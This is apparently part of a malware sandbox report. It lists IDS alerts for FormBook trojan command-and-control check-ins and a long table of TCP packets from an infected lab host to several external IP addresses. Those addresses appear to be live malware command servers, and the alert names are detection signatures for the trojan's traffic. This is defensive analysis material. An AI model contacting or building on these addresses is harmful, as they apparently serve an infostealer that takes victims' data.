07/03/24-18:43:16.765404	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59449	80	192.168.2.6	47.239.13.172
07/03/24-18:41:03.551279	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59411	80	192.168.2.6	156.251.142.105
07/03/24-18:43:40.139322	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59455	80	192.168.2.6	47.239.13.172
07/03/24-18:40:51.463532	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59408	80	192.168.2.6	81.88.48.71
07/03/24-18:43:53.949463	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59459	80	192.168.2.6	46.235.40.27
07/03/24-18:41:11.155608	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	59414	80	192.168.2.6	156.251.142.105
07/03/24-18:43:09.167025	TCP	2855464	ETPRO TROJAN FormBook CnC Checkin (POST) M3	59446	80	192.168.2.6	47.239.13.172

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 18:52:31.018404961 CEST	49719	80	192.168.2.6	89.31.143.90
Jul 3, 2024 18:52:31.023323059 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.023411036 CEST	49719	80	192.168.2.6	89.31.143.90
Jul 3, 2024 18:52:31.026048899 CEST	49719	80	192.168.2.6	89.31.143.90
Jul 3, 2024 18:52:31.030908108 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684258938 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684350014 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684400082 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684416056 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684437037 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684451103 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684464931 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684494972 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684510946 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:31.684659004 CEST	49719	80	192.168.2.6	89.31.143.90
Jul 3, 2024 18:52:31.690493107 CEST	49719	80	192.168.2.6	89.31.143.90
Jul 3, 2024 18:52:31.695302010 CEST	80	49719	89.31.143.90	192.168.2.6
Jul 3, 2024 18:52:46.807109118 CEST	49723	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:46.812325954 CEST	80	49723	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:46.814584970 CEST	49723	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:46.816431999 CEST	49723	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:46.821361065 CEST	80	49723	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:47.505155087 CEST	80	49723	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:47.505317926 CEST	80	49723	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:47.505378008 CEST	49723	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:48.328389883 CEST	49723	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:49.346865892 CEST	49724	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:49.351807117 CEST	80	49724	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:49.351984024 CEST	49724	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:49.353669882 CEST	49724	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:49.358489990 CEST	80	49724	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:50.020333052 CEST	80	49724	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:50.020827055 CEST	80	49724	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:50.020876884 CEST	49724	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:50.859812975 CEST	49724	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:51.878088951 CEST	49726	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:51.884552002 CEST	80	49726	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:51.884639978 CEST	49726	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:51.886478901 CEST	49726	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:51.891570091 CEST	80	49726	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:51.891746044 CEST	80	49726	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:52.600522041 CEST	80	49726	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:52.600794077 CEST	80	49726	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:52.600867033 CEST	49726	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:53.391078949 CEST	49726	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:54.409574032 CEST	49727	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:54.414679050 CEST	80	49727	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:54.414792061 CEST	49727	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:54.416510105 CEST	49727	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:54.421446085 CEST	80	49727	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:55.116456985 CEST	80	49727	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:55.116543055 CEST	80	49727	81.88.48.71	192.168.2.6
Jul 3, 2024 18:52:55.116638899 CEST	49727	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:55.119079113 CEST	49727	80	192.168.2.6	81.88.48.71
Jul 3, 2024 18:52:55.124773026 CEST	80	49727	81.88.48.71	192.168.2.6
Jul 3, 2024 18:53:00.704240084 CEST	49728	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:00.709146023 CEST	80	49728	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:00.709219933 CEST	49728	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:00.711011887 CEST	49728	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:00.716459036 CEST	80	49728	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:01.311511993 CEST	80	49728	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:01.311537981 CEST	80	49728	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:01.311654091 CEST	49728	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:02.219259024 CEST	49728	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:03.241764069 CEST	49729	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:03.246963978 CEST	80	49729	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:03.247093916 CEST	49729	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:03.258177042 CEST	49729	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:03.263106108 CEST	80	49729	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:03.830629110 CEST	80	49729	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:03.830897093 CEST	80	49729	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:03.830956936 CEST	49729	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:04.766041994 CEST	49729	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:05.792187929 CEST	49730	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:05.797092915 CEST	80	49730	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:05.797197104 CEST	49730	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:05.798965931 CEST	49730	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:05.803745985 CEST	80	49730	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:05.803844929 CEST	80	49730	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:06.325517893 CEST	80	49730	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:06.325638056 CEST	80	49730	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:06.325680017 CEST	49730	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:07.312849045 CEST	49730	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:08.331899881 CEST	49731	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:08.336827040 CEST	80	49731	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:08.336920023 CEST	49731	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:08.338696003 CEST	49731	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:08.343558073 CEST	80	49731	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:09.105983973 CEST	80	49731	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:09.106955051 CEST	80	49731	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:09.107017040 CEST	49731	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:09.108711004 CEST	49731	80	192.168.2.6	156.251.142.107
Jul 3, 2024 18:53:09.113709927 CEST	80	49731	156.251.142.107	192.168.2.6
Jul 3, 2024 18:53:14.198893070 CEST	49733	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:14.204699039 CEST	80	49733	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:14.204793930 CEST	49733	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:14.206666946 CEST	49733	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:14.212359905 CEST	80	49733	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:14.911663055 CEST	80	49733	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:14.916801929 CEST	80	49733	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:14.916883945 CEST	49733	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:15.719125032 CEST	49733	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:16.739614010 CEST	49734	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:16.744534016 CEST	80	49734	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:16.744671106 CEST	49734	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:16.746392012 CEST	49734	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:16.751276970 CEST	80	49734	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:17.413774967 CEST	80	49734	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:17.413955927 CEST	80	49734	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:17.414016962 CEST	49734	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:18.250407934 CEST	49734	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:19.268959999 CEST	49735	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:19.274094105 CEST	80	49735	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:19.274203062 CEST	49735	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:19.276115894 CEST	49735	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:19.281852961 CEST	80	49735	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:19.282375097 CEST	80	49735	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:19.942409039 CEST	80	49735	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:19.942737103 CEST	80	49735	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:19.942795038 CEST	49735	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:20.781693935 CEST	49735	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:21.799994946 CEST	49736	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:21.805634975 CEST	80	49736	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:21.805717945 CEST	49736	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:21.807485104 CEST	49736	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:21.812426090 CEST	80	49736	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:22.644169092 CEST	80	49736	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:22.644331932 CEST	80	49736	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:22.644498110 CEST	49736	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:22.646984100 CEST	49736	80	192.168.2.6	81.88.57.70
Jul 3, 2024 18:53:22.651760101 CEST	80	49736	81.88.57.70	192.168.2.6
Jul 3, 2024 18:53:27.810640097 CEST	49737	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:27.815581083 CEST	80	49737	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:27.818994045 CEST	49737	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:27.820875883 CEST	49737	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:27.825647116 CEST	80	49737	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:28.443382025 CEST	80	49737	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:28.443494081 CEST	80	49737	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:28.447455883 CEST	49737	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:29.328663111 CEST	49737	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:30.347309113 CEST	49738	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:30.352233887 CEST	80	49738	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:30.352471113 CEST	49738	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:30.354630947 CEST	49738	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:30.360522985 CEST	80	49738	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:31.023020029 CEST	80	49738	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:31.023063898 CEST	80	49738	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:31.023113012 CEST	49738	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:31.859668970 CEST	49738	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:32.878865957 CEST	49739	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:32.883696079 CEST	80	49739	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:32.883759022 CEST	49739	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:32.885875940 CEST	49739	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:32.890701056 CEST	80	49739	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:32.890907049 CEST	80	49739	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:33.485022068 CEST	80	49739	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:33.485332966 CEST	80	49739	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:33.491321087 CEST	49739	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:34.390940905 CEST	49739	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:35.410419941 CEST	49740	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:35.416013956 CEST	80	49740	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:35.416079998 CEST	49740	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:35.418169022 CEST	49740	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:35.423006058 CEST	80	49740	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:36.031656027 CEST	80	49740	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:36.031806946 CEST	80	49740	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:36.032135963 CEST	49740	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:36.035301924 CEST	49740	80	192.168.2.6	203.161.49.220
Jul 3, 2024 18:53:36.040018082 CEST	80	49740	203.161.49.220	192.168.2.6
Jul 3, 2024 18:53:49.595693111 CEST	49741	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:49.600816011 CEST	80	49741	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:49.600899935 CEST	49741	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:49.602623940 CEST	49741	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:49.607989073 CEST	80	49741	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:50.554016113 CEST	80	49741	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:50.554235935 CEST	80	49741	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:50.554368019 CEST	49741	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:51.109714031 CEST	49741	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:52.131339073 CEST	49743	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:52.136742115 CEST	80	49743	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:52.139704943 CEST	49743	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:52.141702890 CEST	49743	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:52.146483898 CEST	80	49743	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:53.073028088 CEST	80	49743	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:53.073506117 CEST	80	49743	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:53.073545933 CEST	49743	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:53.656884909 CEST	49743	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:54.675180912 CEST	49744	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:54.680440903 CEST	80	49744	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:54.680506945 CEST	49744	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:54.682863951 CEST	49744	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:54.687695026 CEST	80	49744	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:54.688282967 CEST	80	49744	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:55.608947039 CEST	80	49744	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:55.609812975 CEST	80	49744	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:55.613604069 CEST	49744	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:56.189596891 CEST	49744	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:57.206825972 CEST	49745	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:57.211642981 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:57.211714983 CEST	49745	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:57.213774920 CEST	49745	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:57.218707085 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:58.245620012 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:58.245637894 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:58.245649099 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:58.245661020 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:58.245671034 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:53:58.245826960 CEST	49745	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:58.245826960 CEST	49745	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:58.251316071 CEST	49745	80	192.168.2.6	152.32.156.214
Jul 3, 2024 18:53:58.256035089 CEST	80	49745	152.32.156.214	192.168.2.6
Jul 3, 2024 18:54:03.376650095 CEST	49746	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:03.381578922 CEST	80	49746	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:03.381650925 CEST	49746	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:03.383797884 CEST	49746	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:03.388559103 CEST	80	49746	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:04.029783964 CEST	80	49746	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:04.029802084 CEST	80	49746	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:04.029920101 CEST	49746	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:04.890922070 CEST	49746	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:05.910901070 CEST	49747	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:05.916130066 CEST	80	49747	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:05.919410944 CEST	49747	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:05.923355103 CEST	49747	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:05.928204060 CEST	80	49747	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:06.585807085 CEST	80	49747	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:06.585839987 CEST	80	49747	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:06.585911036 CEST	49747	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:07.422425032 CEST	49747	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:08.442048073 CEST	49748	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:08.446876049 CEST	80	49748	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:08.447073936 CEST	49748	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:08.449192047 CEST	49748	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:08.456381083 CEST	80	49748	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:08.456392050 CEST	80	49748	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:09.202433109 CEST	80	49748	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:09.202459097 CEST	80	49748	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:09.202538967 CEST	49748	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:09.204359055 CEST	80	49748	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:09.204437971 CEST	49748	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:09.427315950 CEST	80	49748	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:09.427378893 CEST	49748	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:09.955332994 CEST	49748	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:10.972075939 CEST	49749	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:10.977056026 CEST	80	49749	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:10.977121115 CEST	49749	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:10.979861021 CEST	49749	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:10.984910011 CEST	80	49749	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:11.626230001 CEST	80	49749	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:11.626373053 CEST	80	49749	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:11.626570940 CEST	49749	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:11.631335974 CEST	49749	80	192.168.2.6	64.190.62.22
Jul 3, 2024 18:54:11.636754990 CEST	80	49749	64.190.62.22	192.168.2.6
Jul 3, 2024 18:54:16.852211952 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:16.857045889 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:16.857132912 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:16.859086990 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:16.864048004 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895632029 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895693064 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895704031 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895894051 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895905972 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895916939 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895929098 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.895956993 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:17.895994902 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:17.896298885 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.896311045 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.896395922 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:17.896451950 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.897423983 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:17.900835037 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.900934935 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.900945902 CEST	80	49750	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:17.901046038 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:18.375487089 CEST	49750	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:19.393928051 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:19.399202108 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:19.400398016 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:19.402909040 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:19.407715082 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.505855083 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.505884886 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.505898952 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506010056 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:20.506022930 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506037951 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506094933 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:20.506234884 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506247044 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506257057 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506333113 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:20.506463051 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506477118 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.506649971 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:20.510879040 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.510943890 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.510956049 CEST	80	49751	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:20.511190891 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:20.906682968 CEST	49751	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:21.924913883 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:21.929889917 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:21.930037975 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:21.933526993 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:21.938479900 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:21.938509941 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050549984 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050573111 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050578117 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050646067 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:23.050668955 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050726891 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:23.050769091 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050776958 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050801992 CEST	49752	80	192.168.2.6	23.105.172.12
Jul 3, 2024 18:54:23.050978899 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.050987005 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.051018953 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.051026106 CEST	80	49752	23.105.172.12	192.168.2.6
Jul 3, 2024 18:54:23.051067114 CEST	49752	80	192.168.2.6	23.105.172.12
